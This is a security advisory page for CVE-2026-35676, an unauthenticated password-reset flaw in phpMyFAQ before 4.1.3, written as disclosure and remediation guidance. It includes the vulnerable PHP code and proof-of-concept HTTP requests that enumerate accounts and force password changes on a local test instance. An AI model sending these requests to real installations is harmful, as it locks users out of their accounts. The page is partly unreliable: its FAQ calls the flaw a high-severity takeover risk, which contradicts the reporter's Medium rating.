CVE-2026-35676: phpMyFAQ: Unauthenticated Password Reset Endpoint Allows User Enumeration and Forced Password Change Without Token Validation

Published May 20, 2026
·
Updated

Summary

The password reset API can be triggered without authentication and without any out-of-band confirmation step.

If an attacker knows a valid username + email pair, they can call the reset endpoint directly. The application immediately generates a new password, writes it to the account, and only then sends the new password by email.

This creates two issues at the same time:

- account enumeration through the response difference between valid and invalid pairs - forced password reset of another user's account, which invalidates the old password immediately

In my local reproduction, I confirmed both the response difference and the password change itself.

Details

The relevant code is in phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php.

The route is exposed without authentication:

php #[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])] public function updatePassword(Request $request): JsonResponse

The flow is straightforward:

php $loginExist = $user->getUserByLogin($username);

if ($loginExist && $email === $user->getUserData('email')) { $newPassword = $user->createPassword(); $user->changePassword($newPassword); $mail->send(); return $this->json(['success' => Translation::get(key: 'lostpwdmailokay')], Response::HTTPOK); }

return $this->json(['error' => Translation::get(key: 'lostpwderr1')], Response::HTTPCONFLICT);

The core issue is that the password is changed immediately after a simple username and email match. There is no reset token, no confirmation link, no second step, and no requirement that the caller prove control of the mailbox before the password is replaced.

That means the endpoint is not just a "forgot password email sender". It is an actual unauthenticated password change trigger.

PoC

This was reproduced against a local Docker deployment of the project.

For a valid username and email pair:

http PUT /api/index.php/user/password/update HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json

{"username":"user1","email":"user1@example.com"}

Response:

http HTTP/1.0 200 OK Content-Type: application/json

{"success":"Email has been sent."}

For an invalid pair:

http PUT /api/index.php/user/password/update HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json

{"username":"user1","email":"wrong@example.com"}

Response:

http HTTP/1.0 409 Conflict Content-Type: application/json

{"error":"Error: Username and email address not found."}

That already confirms enumeration.

To verify that the password really changes, created a test account:

- username: user2 - password: Oldpass123! - email: user2@example.com

Before calling the endpoint, the password hash stored in faquserlogin was:

text 481bf096fd16e68ebbb8b98368bc0b5c17631a00f01a36dbb4a8dade0f0b8125

Then send:

http PUT /api/index.php/user/password/update HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json

{"username":"user2","email":"user2@example.com"}

The response was:

http HTTP/1.0 200 OK Content-Type: application/json

{"success":"Email has been sent."}

After that, the stored hash changed to:

text 3497f20c251da705f673dcac500fbf9e2e2e495719a7e2df9be08db42bf1286f

Then try to log in with the old password:

http POST /authenticate HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded

faqusername=user2&faqpassword=Oldpass123!

The application redirected back to the login page and reported that the password was incorrect.

So this is not just a cosmetic issue in the API response. The old credential really becomes invalid.

Impact

The most realistic impact here is forced password reset and account disruption.

An attacker who knows or can guess a valid username and email pair can:

- confirm whether the pair is valid - force the target account's password to change - cause the victim's old password to stop working immediately

If the attacker does not control the victim's mailbox, this is usually a denial-of-service style account disruption rather than instant account takeover. That is the main reason I would keep the severity at Medium.

Even so, this is still a real security issue. Password recovery should not allow an unauthenticated caller to change the account password directly.

Remediation

Recommend to change the password recovery flow to a token-based design.

1. Do not change the password inside the unauthenticated endpoint. 2. Generate a short-lived, single-use reset token and send only the reset link by email. 3. Return the same generic response for both valid and invalid username/email pairs. 4. Keep rate limiting in place, but do not rely on it as the main protection. 5. Add regression tests that verify the password hash does not change until a valid reset token is presented.

Other sources

phpMyFAQ before 4.1.3 contains an unauthenticated password reset vulnerability in the user password update API endpoint that allows attackers to change account passwords without token validation. Attackers can enumerate valid username and email pairs and force immediate password changes by sending PUT requests to the /api/index.php/user/password/update endpoint, causing account disruption and invalidating legitimate user credentials.

— NVD

phpMyFAQ: Unauthenticated Password Reset Endpoint Allows User Enumeration and Forced Password Change Without Token Validation

— Packagist

Affected Software

5 affected componentsFixes available
PhpMyFaq phpmyfaq<4.1.3
composer/phpmyfaq/phpmyfaq<4.1.3
4.1.3
composer/thorsten/phpmyfaq<4.1.3
4.1.3
composer/phpmyfaq/phpmyfaq<4.1.3
4.1.3
composer/thorsten/phpmyfaq<4.1.3
4.1.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phpmyfaq/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.3
  2. Upgrade

    Upgrade composer/thorsten/phpmyfaq to a version that resolves this vulnerability.

    Fixed in 4.1.3
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 4.1.3
  4. Configuration

    Do not change the password inside the unauthenticated endpoint. Generate a short-lived, single-use reset token and send only the reset link by email; replace the password only after the valid reset token is presented.

    phpMyFAQ password recovery endpoint password reset flow = token-based reset
  5. Configuration

    Return the same generic response for both valid and invalid username/email pairs to prevent account enumeration.

    phpMyFAQ password recovery endpoint response for username/email lookup = same generic response for valid and invalid pairs
  6. Compensating control

    Keep rate limiting in place, but do not rely on it as the main protection.

  7. Operational

    Add regression tests verifying that the password hash does not change until a valid reset token is presented.

Event History

May 20, 2026
Advisory Published
via GitHub·03:45 PM
Data Sourced
via GitHub·03:45 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·03:45 PM
DescriptionSeverityAffected Software
May 28, 2026
CVE Published
via MITRE·02:13 PM
Data Sourced
via MITRE·02:13 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:16 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of CVE-2026-35676?

The severity of CVE-2026-35676 is rated as high with a score of 8.8.

2

How do I fix CVE-2026-35676?

To fix CVE-2026-35676, upgrade phpMyFAQ to version 4.1.3 or later.

3

What kind of vulnerability is CVE-2026-35676?

CVE-2026-35676 is an unauthenticated password reset vulnerability found in the user password update API endpoint.

4

What is the impact of CVE-2026-35676?

The impact of CVE-2026-35676 allows attackers to change account passwords without proper authentication, which can lead to account takeovers.

5

Can CVE-2026-35676 be exploited remotely?

Yes, CVE-2026-35676 can be exploited remotely as it does not require authentication for the password reset process.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203